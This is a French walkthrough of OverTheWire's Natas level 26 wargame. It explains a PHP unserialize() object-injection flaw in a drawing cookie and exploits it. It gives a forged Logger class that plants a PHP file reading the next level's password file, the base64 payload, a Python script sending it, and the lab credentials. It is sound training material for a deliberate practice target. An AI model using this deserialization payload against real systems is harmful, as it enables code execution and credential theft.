Niveau 26

Natas 26

Level Goal

Username: natas26
Password: oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
URL: http://natas26.natas.labs.overthewire.org

En se connectant à la page du challenge 26 (curl http://natas26.natas.labs.overthewire.org -u natas26:oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T) on arrive sur un formulaire permettant d'indiquer 2 couple de points pour tracer une ligne et obtenir une image :

Draw a line:<br>
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
</form> 

Avec le code source suivant associé :

<?php
    // sry, this is ugly as hell.
    // cheers kaliman ;)
    // - morla
    
    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;
      
        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="#--session end--#\n";
            $this->logFile = "/tmp/natas26_" . $file . ".log";
      
            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$initMsg);
            fclose($fd);
        }                       
      
        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }                       
      
        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }                       
    }
 
    function showImage($filename){
        if(file_exists($filename))
            echo "<img src=\"$filename\">";
    }

    function drawImage($filename){
        $img=imagecreatetruecolor(400,300);
        drawFromUserdata($img);
        imagepng($img,$filename);     
        imagedestroy($img);
    }
    
    function drawFromUserdata($img){
        if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
        
            $color=imagecolorallocate($img,0xff,0x12,0x1c);
            imageline($img,$_GET["x1"], $_GET["y1"], 
                            $_GET["x2"], $_GET["y2"], $color);
        }
        
        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
            if($drawing)
                foreach($drawing as $object)
                    if( array_key_exists("x1", $object) && 
                        array_key_exists("y1", $object) &&
                        array_key_exists("x2", $object) && 
                        array_key_exists("y2", $object)){
                    
                        $color=imagecolorallocate($img,0xff,0x12,0x1c);
                        imageline($img,$object["x1"],$object["y1"],
                                $object["x2"] ,$object["y2"] ,$color);
            
                    }
        }    
    }
    
    function storeData(){
        $new_object=array();

        if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            $new_object["x1"]=$_GET["x1"];
            $new_object["y1"]=$_GET["y1"];
            $new_object["x2"]=$_GET["x2"];
            $new_object["y2"]=$_GET["y2"];
        }
        
        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
        }
        else{
            // create new array
            $drawing=array();
        }
        
        $drawing[]=$new_object;
        setcookie("drawing",base64_encode(serialize($drawing)));
    }
?>

Le code est un peu indigeste mais c'est la ligne suivante qui doit retenir notre attention :

$drawing=unserialize(base64_decode($_COOKIE["drawing"]));

Deux cookies sont enregistrés par le serveur :

Si l'on regarde le contenu du cookie drawing on a :

YToxOntpOjA7YTo0OntzOjI6IngxIjtzOjE6IjEiO3M6MjoieTEiO3M6MjoiMTAiO3M6MjoieDIiO3M6MjoiMTUiO3M6MjoieTIiO3M6MjoiMjAiO319

Qui une fois décodé donne une représentation sous forme serializée de la donnée (la donnée sérializé est une manière de représenter la donnée, grosso-modo comme le JSON) :

a:1:{i:0;a:4:{s:2:"x1";s:1:"1";s:2:"y1";s:2:"10";s:2:"x2";s:2:"15";s:2:"y2";s:2:"20";}}

La donnée représentée peut être interprétée comme suit :

À noter que si on utilise la fonction unserialize() de PHP on obtient un tableau de la forme suivante :

Array
(
    [0] => Array
        (
            [x1] => 1
            [y1] => 10
            [x2] => 15
            [y2] => 20
        )

)

Utiliser unserialize() sur de la donnée envoyée par un utilisateur est un risque majeur avec PHP. Il est en effet possible de manipuler la donnée de telle manière à pouvoir exécuter des fonctions appelées Magic Methods qui, si elles sont représentées dans de la donnée serializée, seront automatiquement appelée par PHP au moment de la déserialization.

Dans le cas présent on peut noter que si l'on recrée une classe Logger et que l'on utilise PHP pour créé une instance, la serializer, puis l'envoyer au serveur, elle remplacera la classe Logger d'origine.

Par exemple :

class Logger {
    private $logFile;
    private $initMsg;
    private $exitMsg;

    function __construct(){
        $this->initMsg="<?php echo file_get_contents('/etc/natas_webpass/natas27'); ?>\n";
        $this->exitMsg="<?php echo file_get_contents('/etc/natas_webpass/natas27'); ?>\n";
        $this->logFile = "/var/www/natas/natas26/img/output.php";
    }
}

Si on utilise PHP pour créer une instance de cette classe et la sérializer :

print base64_encode(serialize(new Logger()));

On obtient :

Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czozNzoiL3Zhci93d3cvbmF0YXMvbmF0YXMyNi9pbWcvb3V0cHV0LnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjYzOiI8P3BocCBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL25hdGFzX3dlYnBhc3MvbmF0YXMyNycpOyA/PgoiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo2MzoiPD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4KIjt9

Essayons d'envoyer ce cette valeur en tant que cookie drawing en utilisant Python :

import requests


payload = "Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czozNzoiL3Zhci93d3cvbmF0YXMvbmF0YXMyNi9pbWcvb3V0cHV0LnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjYzOiI8P3BocCBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL25hdGFzX3dlYnBhc3MvbmF0YXMyNycpOyA/PgoiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo2MzoiPD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4KIjt9"

response = requests.get(
    "http://natas26.natas.labs.overthewire.org",
    cookies={"PHPSESSID": "ime9bgn8djsf93sh40b0vk55r5", "drawing": f"{payload}"},
    auth=requests.auth.HTTPBasicAuth("natas26", "oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T"),
)

print(response.text)

On obtient un message d'erreur, mais si l'on vérifie le contenu de notre fichier output.php, on peut vori que celui-ci a bien été créé :

$ curl http://natas26.natas.labs.overthewire.org/img/output.php -u natas26:oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ

On obtient le mot de passe du prochain niveau : 55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ.